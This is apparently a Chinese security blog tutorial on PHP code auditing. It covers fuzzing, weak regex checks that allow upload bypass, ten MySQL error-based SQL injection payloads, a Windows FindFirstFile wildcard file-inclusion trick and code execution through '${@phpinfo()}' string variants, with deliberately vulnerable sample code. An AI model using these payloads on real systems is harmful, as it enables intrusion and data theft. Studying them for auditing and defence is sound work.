PHP代码审计小技巧(下)

admin 2021年12月31日03:56:44PHP代码审计小技巧(下)已关闭评论102 views字数 5171阅读17分14秒阅读模式

5.fuzz漏洞发现

fuzz指的是对特定目标的模糊测试,这里要注意的是,针对特定目标甚至说是特定请求,它不同于漏洞扫描器,不过它们的初衷都是以发现bug(漏洞)为目的的。我们后面所说的fuzz都是安全方向的fuzz。fuzz在很早就应用在软件测试领域,并且发现了大量不可预知的漏洞,fuzz到底是怎样的东西,我们来通过它的工作原理流程认识一下,大概流程如图5-1所示。

PHP代码审计小技巧(下)

图5-1

举个最简单的读文件例子,当我们用Office Word打开doc文档的时候,Word软件会按照指定的格式读取文件的内容,如果文件格式出现异常字符,Word无法解析,而又没有提前捕捉到这种类型的错误,则有可能引发Word程序崩溃,这就是一个bug,这时候我们就可以通过工具生成大量带有异常格式或者字符的doc文档,然后调用Word程序去读取,尝试发现更多的bug,这就是一个完整的fuzz测试例子。虽然它不是一种纯白盒的漏洞挖掘方法,但我们在白盒审计过程中,也经常需要用到fuzz的地方来寻找漏洞利用方式。

目前互联网上已经有不少fuzz工具来专门做各种各样的fuzz测试,比如无线、Web、浏览器、协议,等等,在Web安全这块,使用比较多的像pywebfuzz,基于python开发,不过相对来说这个工具年代还是有点久了,可以用的payload还算比较全,比较常见的文件包含、文件上传、SQL注入、XSS等都支持。

payload文件在各个目录下面骂我们打开一个payload规则文件后,可以看到类似如下的规则:

```
cFc%20%20%20

dbm%20%2

cfm......

cfml.........

cfc.......

dbm......

cFm......

```

我们之前在介绍iconv函数字符编码转换截断时提到过一个字符串枚举来尝试寻找能导致iconv()函数异常而截断数据,也是fuzz非常典型的一种利用方式,当时fuzz用的代码比较粗糙,如下所示:

php
<?php
error_reporting(E_ALL);
for($i=0; $i<1000; $i++) {
$a = '1'.chr($i).'2';
echo $i. ' -- ';
echo iconv("UTF-8", "gbk", $a);
echo '<br />';
}

运行脚本后结果如下,当遇到不能正常转码的时候出现字符串截断,并且iconv()函数报出一个notice提示,如图5-2所示。

PHP代码审计小技巧(下)

图5-2

6.不严谨的正则表达式

很多程序在判断文件上传扩展名、URL解析、入库参数等值的时候,都会使用正则表达式,正则表达式确实是一个非常方便和灵活的东西,能够帮助我们少写很多逻辑处理的代码,但是正则表达式也跟程序语言一样,规则写得不严谨,就会导致安全问题产生,至今已经有很多程序在这块栽了跟头,常见的几种问题如下。

6.1没有使用^和$限定匹配开始位置

举例来说明,通过HTTP_CLIENT_IP来获取用户IP,其中这个值是可以被用户修改的,所以一般都会在服务端再过滤一下,看看是否被修改过,而过滤不严格的正则表达式很多都写成“d+.d+.d+.d+”的形式,用代码来看看它的问题的在哪:

php
<?php
$ip=$_SERVER['HTTP_CLIENT_IP'];
if(preg_match('/d+.d+.d+.d+/', $ip))
{
echo $ip;
}
?>

当请求头里面添加“client-ip:127.0.0.1aa”时输出127.0.0.1aa,同样通过检测,严谨一点的正则应该写成

php
“^d+.d+.d+.d+$”

6.2特殊字符未转义

在正则表达式里,所有能被正则表达式引擎解析的字符都算是特殊字符,而在匹配这些字符的原字符时需要使用反斜杠()来进行转义,如果不进行转义,像样英文句号(.)则可用来表示任何字符,存在安全隐患。**

下面介绍一个例子,代码如下:

php
<?php
$filename=urldecode('xxx.php%00jpg');
if(preg_match('/.(jpg|gif|png|bmp)$/i', $filename))
{
file_put_contents($filename,'aa');
}
else{
echo '不允许的文件扩展名';
}
?>

从这段代码的意思可以看出,程序员原本是想检查文件的扩展名,如果不是图片文件则不允许上传,但是在检查扩展名的时候,正则表达式里面扩展名前面的点(.)没有进行转义,导致变成了全匹配符。如果这时候提交的文件名是'xxx.php%00jpg',则会绕过检查并写入一个PHP脚本文件。

7.十余种MySQL报错注入

利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。而在代码审计中,经常会遇到没有正常数据回显的SQL注入漏洞,这时候我们就需要用报错注入的方式最快地拿到注入的数据。

早在很久以前就用到的数据类型转换报错是用得最多的一种方式,这种方式大多用在微软的SQL Server上,利用的是convert()和cast()函数,MySQL的报错SQL注入方式更多,不过多数人以为只有三种,分别是floor()、updatexml()以及extractvalue()这三个函数,但实际上还有很多个函数都会导致MySQL报错并且显示出数据,它们分别是GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp(),下面我们来看看它们具体的报错用法,需要注意的一点是,这些方法并不是在所有版本都通用,也有比较老的版本没有这些函数。

通常注入的SQL语句大多是"select*from phpsec where id=?”这种类型,这里我们就用这种形式来说明怎么利用,利用方式分别如下。

第一种:floor()

注入语句:

sql
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

SQL语句执行后返回的错误信息如图所示

PHP代码审计小技巧(下)

通过截图我们可以看到MySQL出现了报错,并且显示出了当前的连接用户名。

第二种:extractvalue()

注入语句:

sql
id = 1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

SQL语句执行后返回的错误信息如图所示

PHP代码审计小技巧(下)

第三种:updatexml()

sql
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

PHP代码审计小技巧(下)

第四种:geometrycollection()

sql
id=1 and geometrycollection((select * from(select * from(select user())a)b));

PHP代码审计小技巧(下)

第五种:multipoint()

sql
id=1 and multipoint((select * from(select * from(select user())a)b));

PHP代码审计小技巧(下)

第六种:polygon()

sql
id=1 and polygon((select * from(select * from(select user())a)b));

PHP代码审计小技巧(下)

第七种:multipolygon()

sql
id=1 and multipolygon((select * from(select * from(select user())a)b));

PHP代码审计小技巧(下)

第八种:linestring()

sql
id=1 and linestring((select * from(select * from(select user())a)b));

PHP代码审计小技巧(下)

第九种:multilinestring()

sql
id=1 and multilinestring((select * from(select * from(select user())a)b));

PHP代码审计小技巧(下)

第十种:exp()

sql
id=1 and exp(~(select * from(select user())a));

PHP代码审计小技巧(下)

8.Windows FindFirstFile利用

目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell文件路径,但是当在Windows下时,我们只需要知道文件所在目录,然后利用Windows的特性就可以访问到文件,这是因为Windows在搜索文件的时候使用到了FindFirstFile这一个winapi函数,该函数到一个文件夹(包括子文件夹)去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

我们来做个简单的测试,测试代码如下:

php
<?php
include($_GET['file']);

再在同目录下新建一个文件名为“flag.txt”的文件,内容为

txt
You Get it!
--flag.txt

请求/include.php?file=f<<即可包含,效果如图8-1所示

PHP代码审计小技巧(下)

图8-1

通过上面的截图我们可以看到成功包含了flag.txt文件。

这里我们要想,什么情况下才能利用这个特性?目前所有PHP版本都可用,PHP并没有在语言层面禁止使用>、<这些特殊字符,在函数层面来讲,这个特性并不是只有include()、require()这些文件包含函数或者file_get_contents()这类文件读取函数才可用,事实上还有很多个函数也一样是可用这个特性的,参见表8-1

表8-1

PHP代码审计小技巧(下)

9.PHP可变变量

PHP可变变量指的一个变量的变量名可以动态地设置和使用,是PHP语言的一种特性,这个特性让我们在操作变量的时候更加灵活方便,但是同时也带来一些安全问题,我们在挖掘到代码执行漏洞的时候就经常需要用到可变变量来执行代码。

我们先用一段代码来理解什么是可变变量,代码如下:

```php
<?php
$a = 'hello';
$$a = 'var';

echo $hello;
```

在这段代码中,我们并没有直接定义$hello变量,但是我们来看看最终的输出$hello的结果是多少,如图9-1所示。

PHP代码审计小技巧(下)

图9-1

从截图中可以看到,输出变量$hello的值为“var”,这个var是在$$a赋值的,这时候$a被赋值了"hello",而$$a就相当于$'hello'。

部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值,在PHP语言中,单引号和双引号是有区别的,单引号代表纯字符串,而双引号则是会解析中间的变量,所以当使用双引号时会存在代码执行漏洞,我们来看一个测试,代码如下:

php
<?php
$a="${@phpinfo()}";

当运行这段代码时,phpinfo()函数会成功执行,输出内容如图9-2所示

PHP代码审计小技巧(下)

图9-2

这里有一个地方需要注意,代码${@phpinfo()}中的“@”符号是必须存在的,不然就无法执行,但是除了“@”符号还有其他的写法也一样可以,只要不影响PHP规范均可执行,举例如下:

  • 花括号内第一个字符为空格:

php
$a = "${ phpinfo()}";

  • 花括号内第一个字符为TAB(制表符):

php
$a = "${ phpinfo()}";

  • 花括号内第一个字符为注释符:

php
$a = "${/**/phpinfo()}";

  • 花括号内第一个字符为回车换行符:

php
$a = "${
phpinfo()}";

  • 花括号内第一个字符为加号(+):

php
$a = "${+phpinfo()}";

  • 花括号内第一个字符为减号(-):

php
$a = "${-phpinfo()}";

  • 花括号内第一个字符为感叹号(!):

php
$a = "${!phpinfo()}";

除了这些之外还有一些如~、等。

相关推荐: 使用免费工具进行逆向和利用:第 10 部分

原文信息 地址:https://www.coresecurity.com/core-labs/articles/reversing-and-exploiting-free-tools-part-10 作者:Ricardo Narvaja 在本系列的前几部分中,…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:56:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP代码审计小技巧(下)https://cn-sec.com/archives/692014.html